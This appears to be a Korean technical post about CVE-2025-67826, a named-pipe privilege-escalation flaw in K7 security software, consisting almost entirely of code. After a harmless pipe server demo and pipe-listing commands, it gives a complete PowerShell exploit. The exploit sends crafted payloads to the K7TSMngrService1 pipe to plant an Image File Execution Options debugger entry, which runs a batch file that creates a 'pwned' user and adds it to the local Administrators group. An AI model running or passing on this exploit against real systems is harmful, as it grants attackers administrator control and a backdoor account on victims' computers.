CVE-2025-67826, Windows Named Pipe를 통한 권한 상승 취약점

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

// named pipe server
#include <windows.h>
#include <iostream>

int main() {

    // 1. 네임드 파이프 생성
    HANDLE hPipe = CreateNamedPipe(
        TEXT("\\\\.\\pipe\\MyTestPipe"),
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, 1024, 1024, 0, NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::cerr << "파이프 생성 실패" << std::endl;
        return 1;
    }

    // 2. 무한 루프로 클라이언트 연결 계속 대기
    while (true) {
        std::cout << "클라이언트 연결 대기 중..." << std::endl;

        if (ConnectNamedPipe(hPipe, NULL) != FALSE) {
            char buffer[1024];
            DWORD bytesRead;

            // 3. 파이프에서 데이터 읽기
            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {
                buffer[bytesRead] = '\0'; // 널 종료 문자 추가
                std::cout << "수신된 메시지: " << buffer << std::endl;
            }

            // 4. 현재 클라이언트와 연결 해제 (다음 연결을 받기 위함)
            DisconnectNamedPipe(hPipe);
        }
    }
    CloseHandle(hPipe);
    return 0;
}

1

echo "Hello, Pipe!" > \\.\pipe\MyTestPipe

1
2

[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Get-ChildItem \\.\pipe\ | Select-Object Name

1

Get-ChildItem \\.\pipe\ | Where-Object { $_.Name -like "*k7*" }

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121

function Send-PipePayload {
    param (
        [string]$PipeName,
        [byte[]]$Payload,
        [int]$ReadSize = 256
    )
    Write-Host "`n[>] Payload to send (hex):"
    Write-Host ([string]::Join(" ", ($Payload | ForEach-Object { "{0:x2}" -f $_ })))
    Write-Host "`n[>] Payload to send (printable):"
    Write-Host ([System.Text.Encoding]::ASCII.GetString($Payload))

    try {
        Write-Host "`n[*] Connecting to pipe \\.\pipe\$PipeName ..."
        $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", $PipeName, [System.IO.Pipes.PipeDirection]::InOut)
        $pipe.Connect(3000)
        Write-Host "[+] Connected to pipe $PipeName"

        $pipe.Write($Payload, 0, $Payload.Length)
        Write-Host "[*] Payload sent"

        $buffer = New-Object byte[] $ReadSize
        $readBytes = $pipe.Read($buffer, 0, $ReadSize)
        if ($readBytes -gt 0) {
            $received = $buffer[0..($readBytes-1)]
            Write-Host "[<] Received $readBytes bytes (hex):"
            Write-Host ([string]::Join(" ", ($received | ForEach-Object { "{0:x2}" -f $_ })))
            Write-Host "[<] Received (printable):"
            Write-Host ([System.Text.Encoding]::ASCII.GetString($received))
        } else {
            Write-Host "[!] No bytes received"
        }
        $pipe.Dispose()
    } catch {
        Write-Host "[-] Pipe connection error: $_" -ForegroundColor Red
    }
}

# ---------- SETUP ----------
$batContent = '@echo on
net user pwned Password1! /add >nul 2>&1
for /f "skip=1 delims=" %%G in (''wmic group where sid^="S-1-5-32-544" get name'') do for %%A in (%%G) do net localgroup "%%A" pwned /add >nul 2>&1 & goto :fin
:fin
'

$tempCreated = $false
$tempPath = "C:\temp"
$batPath = "$tempPath\foobar.bat"

# 1. Create temp
if (-not (Test-Path $tempPath)) {
    Write-Host "[*] Creating $tempPath"
    New-Item -ItemType Directory -Path $tempPath | Out-Null
    $tempCreated = $true
} else {
    Write-Host "[*] $tempPath already exists"
}

# 2. Create foobar.bat
Write-Host "[*] Writing $batPath"
Set-Content -Path $batPath -Value $batContent -Encoding ASCII

# ---------- RUN THE ATTACK ----------

# 3. Payload: Arbitrary Registry Write (IFEO)
$payload_prefix = [byte[]](
    0x53,0x54,0x37,0x4b,0x10,0x10,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x44,0x00,0x01,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
)
$key = '[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSHlpr.exe]'
$key_bytes = [System.Text.Encoding]::ASCII.GetBytes($key)
$payload_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"="cmd.exe /c C:\\temp\\foobar.bat"') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)
$payload = $payload_prefix + $key_bytes + $payload_suffix
$reg_block_len = $key_bytes.Length + $payload_suffix.Length
$payload[20] = [byte]$reg_block_len

# 4. Payload: Trigger update/backdoor
$payload2 = @"
53 54 37 4b 10 10 00 00 1c 00 00 00 00 00 00 00
10 00 01 00 10 00 00 00 00 00 00 00 10 00 00 00
80 5a 5e 00 28 35 00 00 00 01 01 01
"@ -split "[\r\n ]+" | Where-Object { $_ -ne "" } | ForEach-Object { [Convert]::ToByte($_,16) }
$payload2 = [byte[]]$payload2

$pipeName = "K7TSMngrService1"

Write-Host "`n=== Step 1: Arbitrary registry write (IFEO) ==="
Send-PipePayload -PipeName $pipeName -Payload $payload

Write-Host "`n=== Step 2: Trigger update/backdoor ==="
Send-PipePayload -PipeName $pipeName -Payload $payload2

# ---------- CLEANUP ----------
Write-Host "`n[*] Waiting for 3 seconds before cleanup..."
Start-Sleep -Seconds 3

# 5. Cleanup temp/foobar.bat
if (Test-Path $batPath) {
    Write-Host "[*] Deleting $batPath"
    Remove-Item $batPath -Force
}
if ($tempCreated -and (Test-Path $tempPath)) {
    Write-Host "[*] Deleting $tempPath (was created by script)"
    Remove-Item $tempPath -Force
} else {
    Write-Host "[*] Not deleting $tempPath (already present)"
}

# 6. Clean IFEO entry (set Debugger = "")
$payload_cleanup_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"=""') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)
$payload_cleanup = $payload_prefix + $key_bytes + $payload_cleanup_suffix
$reg_block_len_cleanup = $key_bytes.Length + $payload_cleanup_suffix.Length
$payload_cleanup[20] = [byte]$reg_block_len_cleanup

Write-Host "`n=== Step 3: Clean IFEO (empty Debugger) ==="
Send-PipePayload -PipeName $pipeName -Payload $payload_cleanup

Write-Host "`n[+] Done."

1
2
3
4
5
6
7
8
9

$payload_prefix = [byte[]](
    0x53,0x54,0x37,0x4b,0x10,0x10,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x44,0x00,0x01,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
)
$key = '[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSHlpr.exe]'
$key_bytes = [System.Text.Encoding]::ASCII.GetBytes($key)
$payload_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"="cmd.exe /c C:\\temp\\foobar.bat"') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)

1
2
3
4
5
6
7

# 4. Payload: Trigger update/backdoor
$payload2 = @"
53 54 37 4b 10 10 00 00 1c 00 00 00 00 00 00 00
10 00 01 00 10 00 00 00 00 00 00 00 10 00 00 00
80 5a 5e 00 28 35 00 00 00 01 01 01
"@ -split "[\r\n ]+" | Where-Object { $_ -ne "" } | ForEach-Object { [Convert]::ToByte($_,16) }
$payload2 = [byte[]]$payload2